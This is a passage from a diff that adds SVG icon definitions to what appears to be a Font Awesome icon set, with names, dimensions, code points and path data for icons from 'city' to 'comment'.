43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z" ], + city: [ 640, 512, [], "f64f", "M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z" ], + "clinic-medical": [ 576, 512, [], "f7f2", "M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z" ], + clipboard: [ 384, 512, [], "f328", "M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z" ], + "clipboard-check": [ 384, 512, [], "f46c", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z" ], + "clipboard-list": [ 384, 512, [], "f46d", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z" ], + clock: [ 512, 512, [], "f017", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z" ], + clone: [ 512, 512, [], "f24d", "M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z" ], + "closed-captioning": [ 512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z" ], + cloud: [ 640, 512, [], "f0c2", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4z" ], + "cloud-download-alt": [ 640, 512, [], "f381", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zm-132.9 88.7L299.3 420.7c-6.2 6.2-16.4 6.2-22.6 0L171.3 315.3c-10.1-10.1-2.9-27.3 11.3-27.3H248V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16v112h65.4c14.2 0 21.4 17.2 11.3 27.3z" ], + "cloud-meatball": [ 512, 512, [], "f73b", "M48 352c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm416 0c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48zm-119 11.1c4.6-14.5 1.6-30.8-9.8-42.3-11.5-11.5-27.8-14.4-42.3-9.9-7-13.5-20.7-23-36.9-23s-29.9 9.5-36.9 23c-14.5-4.6-30.8-1.6-42.3 9.9-11.5 11.5-14.4 27.8-9.9 42.3-13.5 7-23 20.7-23 36.9s9.5 29.9 23 36.9c-4.6 14.5-1.6 30.8 9.9 42.3 8.2 8.2 18.9 12.3 29.7 12.3 4.3 0 8.5-1.1 12.6-2.5 7 13.5 20.7 23 36.9 23s29.9-9.5 36.9-23c4.1 1.3 8.3 2.5 12.6 2.5 10.8 0 21.5-4.1 29.7-12.3 11.5-11.5 14.4-27.8 9.8-42.3 13.5-7 23-20.7 23-36.9s-9.5-29.9-23-36.9zM512 224c0-53-43-96-96-96-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h43.4c3.6-8 8.4-15.4 14.8-21.8 13.5-13.5 31.5-21.1 50.8-21.3 13.5-13.2 31.7-20.9 51-20.9s37.5 7.7 51 20.9c19.3.2 37.3 7.8 50.8 21.3 6.4 6.4 11.3 13.8 14.8 21.8H416c53 0 96-43 96-96z" ], + "cloud-moon": [ 576, 512, [], "f6c3", "M342.8 352.7c5.7-9.6 9.2-20.7 9.2-32.7 0-35.3-28.7-64-64-64-17.2 0-32.8 6.9-44.3 17.9-16.3-29.6-47.5-49.9-83.7-49.9-53 0-96 43-96 96 0 2 .5 3.8.6 5.7C27.1 338.8 0 374.1 0 416c0 53 43 96 96 96h240c44.2 0 80-35.8 80-80 0-41.9-32.3-75.8-73.2-79.3zm222.5-54.3c-93.1 17.7-178.5-53.7-178.5-147.7 0-54.2 29-104 76.1-130.8 7.3-4.1 5.4-15.1-2.8-16.7C448.4 1.1 436.7 0 425 0 319.1 0 233.1 85.9 233.1 192c0 8.5.7 16.8 1.8 25 5.9 4.3 11.6 8.9 16.7 14.2 11.4-4.7 23.7-7.2 36.4-7.2 52.9 0 96 43.1 96 96 0 3.6-.2 7.2-.6 10.7 23.6 10.8 42.4 29.5 53.5 52.6 54.4-3.4 103.7-29.3 137.1-70.4 5.3-6.5-.5-16.1-8.7-14.5z" ], + "cloud-moon-rain": [ 576, 512, [], "f73c", "M350.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C27.6 232.9 0 265.2 0 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm217.4-1.7c-70.4 13.3-135-40.3-135-110.8 0-40.6 21.9-78 57.5-98.1 5.5-3.1 4.1-11.4-2.1-12.5C479.6.8 470.7 0 461.8 0c-77.9 0-141.1 61.2-144.4 137.9 26.7 11.9 48.2 33.8 58.9 61.7 37.1 14.3 64 47.4 70.2 86.8 5.1.5 10 1.5 15.2 1.5 44.7 0 85.6-20.2 112.6-53.3 4.2-4.8-.2-12-6.4-10.8zM364.5 418.1c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" ], + "cloud-rain": [ 512, 512, [], "f73d", "M416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.1 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96zM88 374.2c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0zm160 0c-12.8 44.4-40 56.4-40 87.7 0 27.7 21.5 50.1 48 50.1s48-22.4 48-50.1c0-31.4-27.2-43.1-40-87.7-2.2-8.1-13.5-8.5-16 0z" ], + "cloud-showers-heavy": [ 512, 512, [], "f740", "M183.9 370.1c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-192 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm384 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zm-96 0c-7.6-4.4-17.4-1.8-21.8 6l-64 112c-4.4 7.7-1.7 17.5 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l64-112c4.4-7.6 1.7-17.4-6-21.8zM416 128c-.6 0-1.1.2-1.6.2 1.1-5.2 1.6-10.6 1.6-16.2 0-44.2-35.8-80-80-80-24.6 0-46.3 11.3-61 28.8C256.4 24.8 219.3 0 176 0 114.2 0 64 50.1 64 112c0 7.3.8 14.3 2.1 21.2C27.8 145.8 0 181.5 0 224c0 53 43 96 96 96h320c53 0 96-43 96-96s-43-96-96-96z" ], + "cloud-sun": [ 640, 512, [], "f6c4", "M575.2 325.7c.2-1.9.8-3.7.8-5.6 0-35.3-28.7-64-64-64-12.6 0-24.2 3.8-34.1 10-17.6-38.8-56.5-66-101.9-66-61.8 0-112 50.1-112 112 0 3 .7 5.8.9 8.7-49.6 3.7-88.9 44.7-88.9 95.3 0 53 43 96 96 96h272c53 0 96-43 96-96 0-42.1-27.2-77.4-64.8-90.4zm-430.4-22.6c-43.7-43.7-43.7-114.7 0-158.3 43.7-43.7 114.7-43.7 158.4 0 9.7 9.7 16.9 20.9 22.3 32.7 9.8-3.7 20.1-6 30.7-7.5L386 81.1c4-11.9-7.3-23.1-19.2-19.2L279 91.2 237.5 8.4C232-2.8 216-2.8 210.4 8.4L169 91.2 81.1 61.9C69.3 58 58 69.3 61.9 81.1l29.3 87.8-82.8 41.5c-11.2 5.6-11.2 21.5 0 27.1l82.8 41.4-29.3 87.8c-4 11.9 7.3 23.1 19.2 19.2l76.1-25.3c6.1-12.4 14-23.7 23.6-33.5-13.1-5.4-25.4-13.4-36-24zm-4.8-79.2c0 40.8 29.3 74.8 67.9 82.3 8-4.7 16.3-8.8 25.2-11.7 5.4-44.3 31-82.5 67.4-105C287.3 160.4 258 140 224 140c-46.3 0-84 37.6-84 83.9z" ], + "cloud-sun-rain": [ 576, 512, [], "f743", "M510.5 225.5c-6.9-37.2-39.3-65.5-78.5-65.5-12.3 0-23.9 3-34.3 8-17.4-24.1-45.6-40-77.7-40-53 0-96 43-96 96 0 .5.2 1.1.2 1.6C187.6 233 160 265.2 160 304c0 44.2 35.8 80 80 80h256c44.2 0 80-35.8 80-80 0-39.2-28.2-71.7-65.5-78.5zm-386.4 34.4c-37.4-37.4-37.4-98.3 0-135.8 34.6-34.6 89.1-36.8 126.7-7.4 20-12.9 43.6-20.7 69.2-20.7.7 0 1.3.2 2 .2l8.9-26.7c3.4-10.2-6.3-19.8-16.5-16.4l-75.3 25.1-35.5-71c-4.8-9.6-18.5-9.6-23.3 0l-35.5 71-75.3-25.1c-10.2-3.4-19.8 6.3-16.4 16.5l25.1 75.3-71 35.5c-9.6 4.8-9.6 18.5 0 23.3l71 35.5-25.1 75.3c-3.4 10.2 6.3 19.8 16.5 16.5l59.2-19.7c-.2-2.4-.7-4.7-.7-7.2 0-12.5 2.3-24.5 6.2-35.9-3.6-2.7-7.1-5.2-10.2-8.3zm69.8-58c4.3-24.5 15.8-46.4 31.9-64-9.8-6.2-21.4-9.9-33.8-9.9-35.3 0-64 28.7-64 64 0 18.7 8.2 35.4 21.1 47.1 11.3-15.9 26.6-28.9 44.8-37.2zm330.6 216.2c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8zm-96 0c-7.6-4.3-17.4-1.8-21.8 6l-36.6 64c-4.4 7.7-1.7 17.4 6 21.8 2.5 1.4 5.2 2.1 7.9 2.1 5.5 0 10.9-2.9 13.9-8.1l36.6-64c4.3-7.7 1.7-17.4-6-21.8z" ], + "cloud-upload-alt": [ 640, 512, [], "f382", "M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 71.6-160 160 0 2.7.1 5.4.2 8.1C40.2 219.8 0 273.2 0 336c0 79.5 64.5 144 144 144h368c70.7 0 128-57.3 128-128 0-61.9-44-113.6-102.4-125.4zM393.4 288H328v112c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V288h-65.4c-14.3 0-21.4-17.2-11.3-27.3l105.4-105.4c6.2-6.2 16.4-6.2 22.6 0l105.4 105.4c10.1 10.1 2.9 27.3-11.3 27.3z" ], + cocktail: [ 576, 512, [], "f561", "M296 464h-56V338.78l168.74-168.73c15.52-15.52 4.53-42.05-17.42-42.05H24.68c-21.95 0-32.94 26.53-17.42 42.05L176 338.78V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40zM432 0c-62.61 0-115.35 40.2-135.18 96h52.54c16.65-28.55 47.27-48 82.64-48 52.93 0 96 43.06 96 96s-43.07 96-96 96c-14.04 0-27.29-3.2-39.32-8.64l-35.26 35.26C379.23 279.92 404.59 288 432 288c79.53 0 144-64.47 144-144S511.53 0 432 0z" ], + code: [ 640, 512, [], "f121", "M278.9 511.5l-61-17.7c-6.4-1.8-10-8.5-8.2-14.9L346.2 8.7c1.8-6.4 8.5-10 14.9-8.2l61 17.7c6.4 1.8 10 8.5 8.2 14.9L293.8 503.3c-1.9 6.4-8.5 10.1-14.9 8.2zm-114-112.2l43.5-46.4c4.6-4.9 4.3-12.7-.8-17.2L117 256l90.6-79.7c5.1-4.5 5.5-12.3.8-17.2l-43.5-46.4c-4.5-4.8-12.1-5.1-17-.5L3.8 247.2c-5.1 4.7-5.1 12.8 0 17.5l144.1 135.1c4.9 4.6 12.5 4.4 17-.5zm327.2.6l144.1-135.1c5.1-4.7 5.1-12.8 0-17.5L492.1 112.1c-4.8-4.5-12.4-4.3-17 .5L431.6 159c-4.6 4.9-4.3 12.7.8 17.2L523 256l-90.6 79.7c-5.1 4.5-5.5 12.3-.8 17.2l43.5 46.4c4.5 4.9 12.1 5.1 17 .6z" ], + "code-branch": [ 384, 512, [], "f126", "M384 144c0-44.2-35.8-80-80-80s-80 35.8-80 80c0 36.4 24.3 67.1 57.5 76.8-.6 16.1-4.2 28.5-11 36.9-15.4 19.2-49.3 22.4-85.2 25.7-28.2 2.6-57.4 5.4-81.3 16.9v-144c32.5-10.2 56-40.5 56-76.3 0-44.2-35.8-80-80-80S0 35.8 0 80c0 35.8 23.5 66.1 56 76.3v199.3C23.5 365.9 0 396.2 0 432c0 44.2 35.8 80 80 80s80-35.8 80-80c0-34-21.2-63.1-51.2-74.6 3.1-5.2 7.8-9.8 14.9-13.4 16.2-8.2 40.4-10.4 66.1-12.8 42.2-3.9 90-8.4 118.2-43.4 14-17.4 21.1-39.8 21.6-67.9 31.6-10.8 54.4-40.7 54.4-75.9zM80 64c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16zm0 384c-8.8 0-16-7.2-16-16s7.2-16 16-16 16 7.2 16 16-7.2 16-16 16zm224-320c8.8 0 16 7.2 16 16s-7.2 16-16 16-16-7.2-16-16 7.2-16 16-16z" ], + coffee: [ 640, 512, [], "f0f4", "M192 384h192c53 0 96-43 96-96h32c70.6 0 128-57.4 128-128S582.6 32 512 32H120c-13.3 0-24 10.7-24 24v232c0 53 43 96 96 96zM512 96c35.3 0 64 28.7 64 64s-28.7 64-64 64h-32V96h32zm47.7 384H48.3c-47.6 0-61-64-36-64h583.3c25 0 11.8 64-35.9 64z" ], + cog: [ 512, 512, [], "f013", "M487.4 315.7l-42.6-24.6c4.3-23.2 4.3-47 0-70.2l42.6-24.6c4.9-2.8 7.1-8.6 5.5-14-11.1-35.6-30-67.8-54.7-94.6-3.8-4.1-10-5.1-14.8-2.3L380.8 110c-17.9-15.4-38.5-27.3-60.8-35.1V25.8c0-5.6-3.9-10.5-9.4-11.7-36.7-8.2-74.3-7.8-109.2 0-5.5 1.2-9.4 6.1-9.4 11.7V75c-22.2 7.9-42.8 19.8-60.8 35.1L88.7 85.5c-4.9-2.8-11-1.9-14.8 2.3-24.7 26.7-43.6 58.9-54.7 94.6-1.7 5.4.6 11.2 5.5 14L67.3 221c-4.3 23.2-4.3 47 0 70.2l-42.6 24.6c-4.9 2.8-7.1 8.6-5.5 14 11.1 35.6 30 67.8 54.7 94.6 3.8 4.1 10 5.1 14.8 2.3l42.6-24.6c17.9 15.4 38.5 27.3 60.8 35.1v49.2c0 5.6 3.9 10.5 9.4 11.7 36.7 8.2 74.3 7.8 109.2 0 5.5-1.2 9.4-6.1 9.4-11.7v-49.2c22.2-7.9 42.8-19.8 60.8-35.1l42.6 24.6c4.9 2.8 11 1.9 14.8-2.3 24.7-26.7 43.6-58.9 54.7-94.6 1.5-5.5-.7-11.3-5.6-14.1zM256 336c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z" ], + cogs: [ 640, 512, [], "f085", "M512.1 191l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0L552 6.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zm-10.5-58.8c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.7-82.4 14.3-52.8 52.8zM386.3 286.1l33.7 16.8c10.1 5.8 14.5 18.1 10.5 29.1-8.9 24.2-26.4 46.4-42.6 65.8-7.4 8.9-20.2 11.1-30.3 5.3l-29.1-16.8c-16 13.7-34.6 24.6-54.9 31.7v33.6c0 11.6-8.3 21.6-19.7 23.6-24.6 4.2-50.4 4.4-75.9 0-11.5-2-20-11.9-20-23.6V418c-20.3-7.2-38.9-18-54.9-31.7L74 403c-10 5.8-22.9 3.6-30.3-5.3-16.2-19.4-33.3-41.6-42.2-65.7-4-10.9.4-23.2 10.5-29.1l33.3-16.8c-3.9-20.9-3.9-42.4 0-63.4L12 205.8c-10.1-5.8-14.6-18.1-10.5-29 8.9-24.2 26-46.4 42.2-65.8 7.4-8.9 20.2-11.1 30.3-5.3l29.1 16.8c16-13.7 34.6-24.6 54.9-31.7V57.1c0-11.5 8.2-21.5 19.6-23.5 24.6-4.2 50.5-4.4 76-.1 11.5 2 20 11.9 20 23.6v33.6c20.3 7.2 38.9 18 54.9 31.7l29.1-16.8c10-5.8 22.9-3.6 30.3 5.3 16.2 19.4 33.2 41.6 42.1 65.8 4 10.9.1 23.2-10 29.1l-33.7 16.8c3.9 21 3.9 42.5 0 63.5zm-117.6 21.1c59.2-77-28.7-164.9-105.7-105.7-59.2 77 28.7 164.9 105.7 105.7zm243.4 182.7l-8.2 14.3c-3 5.3-9.4 7.5-15.1 5.4-11.8-4.4-22.6-10.7-32.1-18.6-4.6-3.8-5.8-10.5-2.8-15.7l8.2-14.3c-6.9-8-12.3-17.3-15.9-27.4h-16.5c-6 0-11.2-4.3-12.2-10.3-2-12-2.1-24.6 0-37.1 1-6 6.2-10.4 12.2-10.4h16.5c3.6-10.1 9-19.4 15.9-27.4l-8.2-14.3c-3-5.2-1.9-11.9 2.8-15.7 9.5-7.9 20.4-14.2 32.1-18.6 5.7-2.1 12.1.1 15.1 5.4l8.2 14.3c10.5-1.9 21.2-1.9 31.7 0l8.2-14.3c3-5.3 9.4-7.5 15.1-5.4 11.8 4.4 22.6 10.7 32.1 18.6 4.6 3.8 5.8 10.5 2.8 15.7l-8.2 14.3c6.9 8 12.3 17.3 15.9 27.4h16.5c6 0 11.2 4.3 12.2 10.3 2 12 2.1 24.6 0 37.1-1 6-6.2 10.4-12.2 10.4h-16.5c-3.6 10.1-9 19.4-15.9 27.4l8.2 14.3c3 5.2 1.9 11.9-2.8 15.7-9.5 7.9-20.4 14.2-32.1 18.6-5.7 2.1-12.1-.1-15.1-5.4l-8.2-14.3c-10.4 1.9-21.2 1.9-31.7 0zM501.6 431c38.5 29.6 82.4-14.3 52.8-52.8-38.5-29.6-82.4 14.3-52.8 52.8z" ], + coins: [ 512, 512, [], "f51e", "M0 405.3V448c0 35.3 86 64 192 64s192-28.7 192-64v-42.7C342.7 434.4 267.2 448 192 448S41.3 434.4 0 405.3zM320 128c106 0 192-28.7 192-64S426 0 320 0 128 28.7 128 64s86 64 192 64zM0 300.4V352c0 35.3 86 64 192 64s192-28.7 192-64v-51.6c-41.3 34-116.9 51.6-192 51.6S41.3 334.4 0 300.4zm416 11c57.3-11.1 96-31.7 96-55.4v-42.7c-23.2 16.4-57.3 27.6-96 34.5v63.6zM192 160C86 160 0 195.8 0 240s86 80 192 80 192-35.8 192-80-86-80-192-80zm219.3 56.3c60-10.8 100.7-32 100.7-56.3v-42.7c-35.5 25.1-96.5 38.6-160.7 41.8 29.5 14.3 51.2 33.5 60 57.2z" ], + columns: [ 512, 512, [], "f0db", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64V160h160v256zm224 0H288V160h160v256z" ], + comment: [ 512, 512, [], "f075", 